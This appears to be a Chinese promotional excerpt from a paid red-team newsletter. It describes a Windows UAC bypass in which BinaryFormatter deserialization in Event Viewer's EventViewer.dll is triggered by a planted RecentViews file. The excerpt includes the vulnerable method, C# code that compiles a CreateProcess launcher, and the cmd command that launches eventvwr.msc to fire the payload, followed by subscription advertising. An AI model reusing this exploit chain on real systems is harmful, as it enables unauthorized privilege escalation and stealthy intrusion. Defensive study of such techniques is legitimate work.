01
阅读须知
此文所节选自小报童《.NET 内网实战攻防》专栏,主要内容有.NET在各个内网渗透阶段与Windows系统交互的方式和技巧,对内网和后渗透感兴趣的朋友们可以订阅该电子报刊,解锁更多的报刊内容。
02
基本介绍
本文内容部分节选自小报童《.NET 通过白名单文件反序列化漏洞绕过UAC》,完整的文章内容请加入小报童后订阅查看。现在限时只需59元,永久买断!目前已有220+位朋友抢先预定,我们会长期更新,对.NET内网安全的朋友们请尽快订阅该报刊!
03
原理分析
在渗透测试和红队活动中,权限提升是重要的一环,尤其是在没有管理员权限的情况下执行更高权限的操作。有一种思路利用 Windows 事件查看器 eventvwr.msc 的高权限加载特性和 XAML 反序列化机制,以绕过 UAC 限制。
3.1 Windows事件查看器
在 Windows 系统中,事件查看器Event Viewer是一个非常有用的管理工具,可以帮助系统管理员和安全分析人员查看系统日志、应用程序日志、安全日志等。通常情况位于当前系统用户下的AppDataLocalMicrosoftEvent Viewer目录。
在事件查看器启动过程中,Windows 会自动加载 EventViewer.dll,这是事件查看器的核心 .NET 组件之一,提供事件记录的读取、解析和显示功能,如下图所示。
由于 EventViewer.dll内部调用了LoadMostRecentViewsDataFromFile方法,此方法调用BinaryFormatter().Deserialize方法反序列化读取最近的事件记录内容,核心漏洞代码如下所示。
private void LoadMostRecentViewsDataFromFile()
{
try
{
if (!string.IsNullOrEmpty(EventsNode.recentViewsFile) && File.Exists(EventsNode.recentViewsFile))
{
FileStream fileStream = new FileStream(EventsNode.recentViewsFile, FileMode.Open);
object syncRoot = EventsNode.recentViewsDataArrayList.SyncRoot;
lock (syncRoot)
{
EventsNode.recentViewsDataArrayList = (ArrayList)new BinaryFormatter().Deserialize(fileStream);
}
fileStream.Close();
}
}catch (FileNotFoundException){}
}
3.2 动态编译启动新进程
首先代码中定义了一个名为 CreateSerializedData 的静态方法,方法内部的 text 字符串包含一段完整的.NET代码,用于创建一个控制台程序,内部使用了 DllImport 引入 Windows API 函数 CreateProcess,用于在桌面上创建一个新进程。
string text = "rnusing System;rnusing System.Runtime.InteropServices;rnrnrnclass HelloWorldrn{rn [DllImport("kernel32.dll")]rn private static extern bool CreateProcess(rn int dwCreationFlags,rn IntPtr lpEnvironment,rn ref STARTUPINFO lpStartupInfo,rn ref PROCESS_INFORMATION lpProcessInformation);rnrn [StructLayout(LayoutKind.Sequential)]rn struct STARTUPINFOrn {rn public Int32 cb;rn public string lpReserved;rn public string lpDesktop;rn public string lpTitle;rn public Int32 dwX;rn public Int32 dwY;rn public Int32 dwXSize;rn public Int32 dwYSize;rn public Int32 dwXCountChars;rn public Int32 dwYCountChars;rn public Int32 dwFillAttribute;rn public Int32 dwFlags;rn public Int16 wShowWindow;rn public Int16 cbReserved2;rn public IntPtr lpReserved2;rn public IntPtr hStdInput;rn public IntPtr hStdOutput;rn public IntPtr hStdError;rn }rnrn internal struct PROCESS_INFORMATIONrn {rn public IntPtr hProcess;rn public IntPtr hThread;rn public int dwProcessId;rn public int dwThreadId;rn }rn rnrn static void Main(string[] args)rn {rn string DesktopName=args[0];rn string argumentsAsString = string.Join(" ", args, 1, args.Length - 1);rn STARTUPINFO si = new STARTUPINFO();rn si.cb = Marshal.SizeOf(si);rn si.lpDesktop = DesktopName;rn PROCESS_INFORMATION pi = new PROCESS_INFORMATION();rn bool success = CreateProcess(rn null,rn argumentsAsString,rn IntPtr.Zero,rn IntPtr.Zero,rn false,rn 48,rn IntPtr.Zero,rn null,rn ref si,rn ref pi);rn }rn}rn";
Console.ForegroundColor = ConsoleColor.Yellow;
Console.WriteLine("Compling StartInSelectedDesktop...");
compilerParameters.GenerateExecutable = true;
compilerParameters.OutputAssembly = Path.Combine(Path.GetTempPath(), "StartInSelectedDesktop.exe");
3.3 白加黑启动绕过UAC
利用 eventvwr.msc 进程来触发恶意载荷的反序列化,从而绕过用户账户控制 (UAC) 限制启动新的 cmd 进程。因为此时恶意负载已经写入到 C:UsersIvan1eeAppDataLocalMicrosoftEvent ViewerRecentViews,自动化打开事件查看器即可触发漏洞。具体代码如下所示
if (!Program.CreateProcess(null, "cmd /c start "" "%windir%\system32\eventvwr.msc"", IntPtr.Zero, IntPtr.Zero, false, 48, IntPtr.Zero, null, ref structure, ref process_INFORMATION))
综上,利用了Windows事件查看器的反序列化漏洞,具备强大的UAC绕过能力。在红队渗透测试中,其高度隐蔽性和无文件特性而受到广泛应用。想要了解完整或者更多的内网安全防御绕过方向的文章,可以移步订阅小报童《.NET 内网实战攻防》电子报刊。
04
欢迎加入.NET 电子报刊
我们的小报童电子报刊【.NET内网安全攻防】也开始运营,引入小报童也是为了弥补知识星球对于轻量级阅读支持的不足,为用户读者提供更佳的阅读体验。如果您对阅读体验的需求比较高,那么可以订阅这个专栏。
本次电子报刊《.NET 内网安全攻防》专栏,内容主要有.NET在各个内网渗透阶段与Windows系统交互的方式和技巧,可细分为以下8个方向。
1) .NET 安全防御绕过
2) .NET 本地权限提升
3) .NET 内网信息收集
4) .NET 内网代理通道
5) .NET 内网横向移动
6) .NET 目标权限维持
7) .NET 数据传输外发
8) .NET 目标痕迹清理
原价899,现在限时只需59元,永久买断!目前已有200+位朋友抢先预定,我们会长期更新,初步计划保持每周更新1-2篇新内容,对.NET内网安全的朋友们请尽快订阅该报刊!
每增加五十人涨价10元,抓紧订阅,超值!订阅后请关注公众号:dotNet安全矩阵,发送订单截图和您的微信号,邀请您加入专属交流群。感兴趣的朋友,可以点击链接:https://xiaobot.net/p/dotNetAttack,或者扫描下方海报微信二维码加入即可,订阅后小报童定时会将最新内容通过微信推送给您。
推荐站内搜索:最好用的开发软件、免费开源系统、渗透测试工具云盘下载、最新渗透测试资料、最新黑客工具下载……
还没有评论,来说两句吧...